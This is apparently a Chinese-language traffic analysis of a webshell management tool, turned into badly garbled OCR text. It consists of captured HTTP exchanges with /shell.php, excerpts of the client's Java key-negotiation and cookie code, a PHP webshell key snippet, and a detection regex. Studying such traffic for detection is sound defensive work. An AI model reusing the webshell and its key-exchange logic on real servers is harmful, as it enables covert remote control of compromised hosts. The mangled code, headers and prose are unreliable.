[Connection: keep-alive

Content-Length: 1068

PeAb = A R S JAVARIHTTPURLConnectionBE (7 UkiE 7/ FH (HT TP AS E ) 1F
WHNREAcceptEWN BN R E ZBEE N NE, MIFEEFERNFBEE XN Accept i
L OFLIR

& o B
Bt Rheader ¥ Accept HI1H -
& o e R R -

GETi# 3K -

GET_/shell.php ?BRme2=YUuaWSTAESAF TBC=tLAGhrE&pass=ASEAAkOEIpK iX7=0403qGHET9IxvI=gyMMS HTTP/ 1.1 ﬂ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q-2.8

User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppledebK1t/537.36 (KHTML, e Gecko) Chrome/80.0.3987.132 safari/5s37.36

Host: 192.168.81.130

connection: keep-alive

POSTiE



afebads784676940P05T /shell.php HTTP/1.1
Content-Type: text/html; charset=utf-g
ie: - ii igvshidi; paths=/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
ser-Agent: Mozilla 3 Lanux X pplel 1 B PR 51 o) Chrome/80.0.3987.132 safari/537.36

Pragma: no-cache

Host: 192.168.81.130
connection: keep-alive
content-Length: 1068

5. IR Bl AL

|

TE7VKIE BN ER, SARRELGETE AW IERFMEHNLE, XA LRE

Al\%o

Al R TR (SN Bl b v

GET /shell.phpPpass=593 HTTR/1.1 =
Content—type: application/xz-wewform—urlencoded

User=Agent: Mezilla/5.0 (compatible: MSIE 9.0; Windews NT 6. 1. WOWEd: Trident/5.0; SLCCZ. .NET CLR 2.0.50727; .MET CLR 3.5.30729: .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .MNET4.0C; .NET4. OE)

Host: 192. 168. 81. 130

Accept: textfhtml, image/gif, image/jpeg, *; q=.2, */%; q=.2 *\‘_ %-—-;fkﬁmzﬂ?%}q

Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 02 Jul 2020 08:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38

X-Powered-By: PHP/5.5.38

Set=Cookie: PHPSESSID=cns3060¢cjkd633Tqnr3vsqqts5; path=/

Expires: Thu, 19 Nowv 1921 08:52:00 GMT

Cache-Contrel: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content=Length: 16 .Yy SLly v

Keep-Alive: timecut=5, max=100 % {kﬂﬁ%l’ ]J_E. IEI H}']%%H
Connection: Heep-Alive
Content=-Type: text/html

fe56Ff4236dd7d922GET /shell. php?Ppass=3562 HTTP/ 1.1

Content-type: application/z-wew-form-urlencoded

User=Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1, WOWEd; Trident/5.0; SLCCZ. .NET CLR 2.0.S50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4. 0E)

Hozt: 192. 168. 81. 130 i —_—
Accept: text/html, Image/gif, image/jpeg, *, a=.2, #/+; =2 - %__fi %’;EEE %%ﬂ

Connection: keep-alive

HTTP/1. 1 200 OK

Date: Thu, 09 Jul 2020 02:43:13 GMT

Serwver: Apache/2,4.23 (Win32) OpenSSL/1.0.2j PHP/S.5.38
X-Powered-By: PHP/G.5.38

Set=Cookie: PHPSESSID=djmtkk8cj2févsCudegfdifqel?; path=/

Expires: Thu, 19 Nev 1931 08:52:00 GMT —_— 2l v P
Cache-Contrel: no—store, no-cache, must-revalidate, pest-check=0, pre-check= %—{kﬂﬁ%uﬁﬂ@%ﬁ %H
Pragma: no-c¢ache
Content-Length: 16
Keep-Alive: timeout=5, max=99
Connection: Keep=-Alive
Centent=Type: text/html

0161a6755f11Tc95P0OST /shell. php HTTP/1.1

XTI
Comh.:.nt".l'ypc: application/x=www—form-urlencoded {T—__—__——_— EFEWE:@EPOST@ ﬂ

0 L A S )

A i mMam il mmmam A = . an

HATKRAE T ARSI



B ueile. Java 3 =0

115 if{s == “Content-type") Al
128 continue;

121 urluithSeszion = 2}

122 {(HEpURLConnection) urlConnee tion).setRequestProperty (urluithSession, requestHeaders.get{urluithSession));

123 }

124 4f (((HEtpURLConnection) urlConnection) . getResponsalodal) == 302 || ((HttpURLCoanection) urlConnection).getResponselodal) == 301} {
125 urluithSession s ((String) ((List) ((HEtpURLConnection) urlConnection).getHeaderFields().get(®Lacation®) ). get(a));

126 if (lurlwithSession.startskith(“hittp™)) {

127 urlwithSession = url.getProtocel() + ":1//7 + url.getHost() + ":" + furl.getPort() == -1 ¢ url.getDefsultPort() : url.getPort()) + urlwithSessi
128 urluithdession = urluithSession.replaceAll(password + “=[@-9]%", *");

129 ]

132

131 result.put(®urliithSession®, urluith3ession);

133 H
133

134 boolean =rror = false;

135 errorfsg = "7;

136 iF (((HttpURLConnection) urlConnection).getResponselode() == 500} { u
137 isr = new InputStressReader( ({HEtpURLLonnection) urllonnection).getErrorStrean());

38 error = true;

139 arrorMsg = R EBET;

140 } else iF (((HUtpURLConnection) urlConnection). getResponseCode() == 484) {

141 isr = new InputStressResder(({HttpURLConnection) urlConnection).getErrorStresnt));

142 arror = trua;

143 arrordsg = 'm?ﬁiﬁmmmﬁ'

144 } else {

145 |isr‘ = new InputStressResdecy ({HttpURLConnection) urlfonnection).getInputStrean()); ]

145

147

128 [br = new Bufferedresder(isry; |

145

158 String line;

151 while {{line = br._readline{)) != null) {

152 sb.append{line);

153 }

154

155 br.close();

156 if (error)

157 throw niss ExcepticnierrorMsg);

158 } plsa [

159 String rawkey 1 = sbotoString(): |

150 Tkring pattern = "[a-FA-FO-B]{16); // EMLAE16LEN

161 Fatbern r = Pattern.compile{patiern);

142 Matcher = = r.matcherfrasiiov 132

X— LR EHMF Aravkey 1B EH,

) Unile, Java B2

159 String rawkey_l = sb.toString(); < T

163 string pattern = "[a-fA-FR-9){16}"; // ERCR16i2%48 g

161 Pattern r = Pattern.compile(pattern); %*?ﬁg}fﬁi%”ﬁ{}km’
162 Matcher m = romatcher(rawkey_1);

163 if (lm, Find()) {

164 throw new Exception("M@MiFiE. BRELEFEMETAM;

165 } else {

166 it start = @;

LGT int end = @;

168 int cyclefount = @;

163

178 while {true} {

171 Ff M UCER

172 MapeString, Stringy KeyAndlookie = getRowKey(getUrl, password, reguestHeaders); -
173 String raskey_2 = KeyAndlookie.get(“key"); 4— % Ijﬁ-': ﬁﬁi B’JKEY
174 byte[] temp = CipherUtils,bytesXor(rawkey_l.getBytes(), rawkay_I.getBytes());

175

175 int i;

177 for (i = 9; i < temp.length; ++i) {]

78 if (temp[i] » 0) {// MEH, F— X TFomis

179 if (start == 0 || i ¢= start) {

182 start = i;

181

182 break;

183

184 ¥

185

185 for (i = temp.length - 1; i 3= 0; --i)

127 if (temp[i] > @) {// LLE‘S( m— 'k Fomi s

188 if (i »= end) {

184 end = 1 + 1;

159 }

191 , braak;

192 y =
193 ) 5250218 ]
194

195 if (end - start == 16) {

145 result.put{"cookie”, KeyAndCockie.get("cookie®™));

197 result.put( “beginIndex®, String.valuedf(start));

198 result.put{“endIndex”, String.volueOf(temp.length - end));

199 string finalkey = new String(Arrays.copyOffange(rawkey_2.getBytes(), start, end));

289 result.put{“key", finalkey);

221 return result;

20z 1

HXFEWMZEHFSNravkey 2 EH, ZJGrawvkey 1M rawkey 24T T 7 8 #
B, ot e g ok K W, AT ES RPE % fF, mZ KKK EHEH. LIGHXHk
RSB R FHRIEM, Sehr 2 R m2KEoK T, 3K S MG~ KZ.
AN RO X B O TR B0 3R R 1 % B R A R R DL A ) R HCE B R B

1'% E& ‘E‘I_EAI\ E% :



M4 2 AR AU P I RE, AT BA SO IR . BE R ICE P S Hlwebshell
B, #XRWEHNLRE.

& 2 1 ROR

= [=] |

GET /shell.php?@m2FtoS=sXpSH1z&3LFbYMA=0XuvidofKeGCBZp=ualdsnTifpass=eydddMEoF gDW=GIVIAG6EA92ydpb=Mc dokalNDVBEM=H1KcqM HTTP.r:I
1.1

Content-type: text/html; charset-utf-g

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,*/*;q=0.8

User-Agent: Mozilla/S.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safarif537.36

Host: 192,168.81.130
Connection: keep-alive ‘\\
HITP/1.1 200 0K ?}\%ﬁﬂi.’f%ﬁ

Date: Sun, 12 Jul 2020 02:13:11 GMT

server: Apache/2.4.23 (Win32) OpenssSL/1.8.2j PHP/5.5.38
A-Powered-By: PHP/5.5.38

set-Cookie: PHPSESSID=bbagmcalicsejliqldog2ljhiz; path=/
Expires: Thu, 19 Hov 1981 08:52:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

content-Length: 16

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

| |content-Type: text/html

9dcaeBccd@59394cP0ST /shell.php HTTP/1.1 % S l{)\ Lﬁ |ﬁJ ﬁ *ﬁ Dl] T

content-Type: text/html; charset=utf-=

Cookie: PHPSESSID=bbagmcal3csejliqldoq21jhi2; path=/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*:q=-0.8

user-Agent: Mozilla/s.0 (Windows NT 6.3) Applewebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 safarifs37.36
cache-control: no-cache

Pragma: no-cache

Host: 192.168.81.130

connection: keep-alive

Content-Length: 1068

2q6¢ kgebat67qGdd 178Uz OLKwWHxuo+dehZ 3P kqXTVSBPWINMX/

3L2YQkALC SP37BWS yIBceuPul9DBt2 s3KCvoedk 105 BYRENSY 1sc85a3bhHCkILF JULSMX9q3NBY Sy 1hK zc KEDOBADGU7T 7 RMA SrwkaDF + 14VYEDF RpUZBU+ 2
WYpvPZOzeykmZBHEVhCxk90ZmYWE KX olHCYNHIB iSO jqEpLE ieDR3bgTLaon9c 40N+ xeAUeAN2 IXCSxiWAOY rkMx 1055+ I3L580F 3BVIE2 IBb6GM+ 2 +AF FHuu
Cx52yS5ApWflrRSzv7b/z3ek/ammXtul TyWiyakB3AL/ +4/A+GvauMy j+fFvHVEyx072/ E+Wt33i30Dykgh70uiayaTPqxa2 vax/

CHpNB JdwIz8rosEKnS6 1vp6 jhnvppppuCGAOCLVFhzAQPe JEPTSTcalmsL6S0K /.
ngl:tEﬁthsqr':lTbux1Dzt_‘lsnthtD-GtaIaheMquV)PcuDMZl\rgﬂ.TtldemZuzlhI?Eth'rdhq?‘PqKPLU1vKgUFIupI.IHSwS‘I‘TS‘ISzkllnduvtkpaFBLu'ZSEF_I

[P PR p— e, o e T | L e I e o wm B et

6. response H iR [A] 2 4H

TR A v N D o E P I = A O WOR VA i O VS A U Rl R e D IP S Sl = A 5/ N
Wi, BATRE T W R I0RL N .

\r\n\r\n[a-z0-9]{16}$%

il

Content-Length: 16

N AEE: UM\ r\nZEHRITMEI6NFEFRNE+HFHSANER, BELS
Content—-Length: 16 ~¥ W — k&0 .



HTTP/1.1 208 0K

Date: Sun, 12 Jul 2020 ©2:13:11 GMT

Server: Apache/2.4.23 (Win32) OpenssL/1.8.2j PHP/5.5.38

X-Powered-By: PHP/5.5.38

set-Cookie: PHPSESSID=bbagmcal3csejllqldoq2ljhiz; path=/

Expires: Thu, 19 Hov 1981 08:52:00 GMT

Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

content-Length: 16

Keep-Alive: timeout=5, max=100
connection: Keep-Alive
Content-Type: text/html

9dcaeBccd859394cposT /shell.php HTTP/1.1

AT R T % 7 i A X T B A UL e R -

M Utils, java &2

156 br = new BufferedReader(isr);

157

158 String line;

159 while ((line = br.readlLine()) != null) {
169 sb.append(line);

161 }

162

163 br.close();

164 if (error) {

165 throw new Exception(errorMsg);

166 } else {

167 String rawkey_1 = sb.to ine(}):

168 String pattern =|"[a-fA-FB-9]{16}";| // EN|MLE16f%EH
169 Pattern r = Pattern.compile(pactern);
170 Matcher m = r.matcher(rawkey_1);

171 if (Im.find()) {

172 throw new Exception("MBFE, EEXLEZERNEHE");
173 } else {

174 int start = 9;

175 int end = 9;

176 int cycleCount = B;

177

RGN ILHE 716 ffa-f KNS +% 5, hah™ XEHE AMEHR? ? 2



JR R FE 7 vkt " BRN B A webshell H:

(isset($_GET['pass']))
{

$key-substr(md5(unigid(rand())),16);

$ SESSION| 'k’ |~-$key;
print $key;

Kl AHwebshell 4ARMEMEE Nnds, ndbfi HE RS 2163 H, FTLLHHFO-
9a—-f,

GETH A5 Wi, Wl BAIn AN — S8R A9 IR |l N &, B8 5 % AR AL
& 2 )E 1 RR

A EL S AL B R RS K

¢l



@—) C ® © & 192.168. 81. 130/shell. phpPpass=124

My info is here.

g =N
JIL

beim
=

GET /fshell.php?dTXgi=TOZHVDE&DdmZn=ctvhkZE20xD6=Z2ZbCEVEpass=DhTy 1Xr&kopdRr e S=UFgEnB0& jndXy=RZ1Xv HTTP/1.1 ﬂ
Content—type: text/html: charset=utf-8

Accept: text/html, application/xhtmltxml, application/xml;q=0. 9, image/webp, */*;q=0. 8

User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/78.0.3904. 108 Safari/537.36

Host: 192. 168, £1. 130

Connection: keep-alive

HTTP/1.1 200 OK

Date: Sun, 12 Jul 2020 03:12:15 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5. 38

X-Powered-By: FHF/S.5. 38

Set-Cookie: PHPSESSID=j5b24b1f28ehqgrldqqbuleifhd; path=/

Expires: Thu, 19 New 1981 03:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 178 <=
Keep-Alive: timecut=5, max=100 - ﬁ
Connection: Keep-Alive Content Lengthl—;ﬁ
Content=Type: text/ html

<IDOCTYPE html>
<html>
<head>

B <title’Infol/ftitle> / @1¢%ﬁ;}%

{body>

My info is here.<!--<a id="post_js_url” href="/js/58fbe083be1dd2e9. min. js”" > Infol/ar-=>
</body>

</html>

POST /shell.php HTTP/L.1

Content-Type: text/html; charset=utf-8

Cookie: PHPSESSID=j5b24blf28ehqr1dqqbuloifhd; path=/

Accept: text/html, application/xhtml+xml, application/xml; q=0. 9, inage/webp, */*; q=0. 8
User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML., like Gecko) Chrome/78.0.3904. 108 Safari/537. 36
Cache-Control: no-cache

Pragma: no-cache

Host: 192.168. 81. 130 i~ O 1y s
Connection: keep=alive ‘EF‘RW}FQD jju [N ]
Content=Length: 1068

VpbuOSxzolBg8nVT xgMEDiDI y Y yKKkBuxibr iCOVEG 123 f TSOK fyAmydCuyaghK62 YP+FHOUFEQ ) « TWE JOmQSdZEcqu jSrenNsacyrhXz JHaF 9G0LnaCLdWCb S5 YxxEkkCKgz S
sVeBuavHLEOINz3eVEgQUIFPRCDTeVENeDuml RTU fvab IM106avdd 1 Ty + e NX20MU o feua KT/
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7. headerH [ Cookie
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feb6f4236dd7d922GET fshell. phpPpass=352 HTTP/1. 1

Centent-type: application/z-www-form-urlencoded

User-Agent: Mozilla/5.0 (compatible; HSIE 9.0; Windows NT 6.1; WOWSd; Tridemt/5.0; SLCCZ; .NET CLR 2.0.50727; .MET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.O0C; .NET4.CE)

Hest: 192. 168. 81. 130

Accept: text/html, image/gif, image/jpeg, *: q=.2, #/+; g=.2

Connection: keep-alive

HTTP/1. 1 200 OK

Date: Thu, 09 Jul 2020 02:43:13 GMT

Scrmr Apache/2. 4. 23 (Win32) OpenSSL/1.0.2j PHF/5.5. 38
-By: PHP/S.5. 38
t-Cookie: PIIPSESSln'hntkkScJZFS\mSudsfdlﬁqezﬂ path=/

Cache=Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 16

Keep=Aliwve: timeout=5, max=99

Cennection: Keep=Alive

Content=Type: text/html

0161a6756f11T295P0ST /shell. php HTTP/L. 1

Content-T applicat 1mfx—wwn—form—u.rlancoded

mpatib Windows NT 6.1; WOWS4; Trident/S.0; SLCCZ; .NET CLR 2.0.50727; .MET CLR 3.5.30729. .NET
CLR 3. 0 SUTEQ Hed;m Center PC 5 0 Info?ath 3 .NET4. OC; .NET4. OE)
Cache-Contrel: no-cache
Pragma: no-cache
Host: 192. 168. 81. 130
Accept: text/html, image/gif, image/jpeg. *: q=.2, */*. g=.2
Connection: keep-alive
Content~Length: 1068

CookieH ) [n @l & "path=/"XH, . fEHMREHR, REm¥ECookielhSet-
Cookiefresponsek ik M, HPPathZiZCookiel N H 1% .

2B
Cookiel; Path=/
Cookie2:; Path=/admin/

WAV R s /7 BAER, HaMaiCookiel s MU “/admin/” EAER,
2 E R #EHF Cookiel MlCookie2.

22

LNV T, path@ AMFENCookied B By — 73 K & 2 Ak 55 ¥ 1Y

KE T & b A

AN wUtile. Jawa 3

String line;

while (varll.hasMext(}) {
String headerName = varll.next();
if (headerNane l= null && hesdecName.egualsIgnoreCase]”Set-Cookie®)) {

for [(Iterator varld = ((List) headers.get{headerMame)).iterator(); warld.hasNext(); cockieValues = cookieValues + *;" + line) {
line = {String) warld.next();

1

ookiaValues s cookisVelues.startsHith(";") ¥ cookieVelues.replaceFirse(";", "") : cockieValues;
break;

}

I result.put({*cookie®, cookieValues) ;l
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HTTP/1.1 200 0K

Date: sun, 12 Jul 2020 ©9:23:56 GMT

server: Apache/2.4.23 (Win32) OpensSsL/1.9.2]j PHP/5.5.38 .
X-Powered-By: PHP/5.5.38 " 4 =
set-Cookie: PHPSESSID=baj7dpbtpujt7772khjtvaocle; path=/ | 4"/ Set COOleL{‘ITﬁ Path
Expires: Thu, 19 Hov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

content-Length: 178

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

<IDOCTYPE html>
<html>
<head>
<titlesInfoc/titles
</head>
cbody>
My info is here.<l--<a id="post_js_url” href="/js/efebossafdbodido.min. js">Infoc/ar--»
</body>
</html>
POST /shell.php HTTP/1.1 . T ,
content-Type: text/html; charset=utf-a ‘_—_______,__—- i’Fﬁ.F FﬁLﬁﬁHqCOOkleZ:;ﬁ?Path
Cookie: PHPSESSID=b4j7dpbtpujt7772khjtvaocle
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
user-agent: Mozilla/s.@ (Android 6.@; mMobile; rv:68.8) Gecko/68.@ Firefox/68.0
tache-Control: no-cache
Pragma: no-cache
Host: 192.168.81.130
connection: keep-alive
Content-Length: 1068
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PO/ YUGG2AZPC 7TXR2VYGsa9RyDB7pK 1 rMARSZ 7L vBVyM1fW78xr2 5636gvpnptyohZye/
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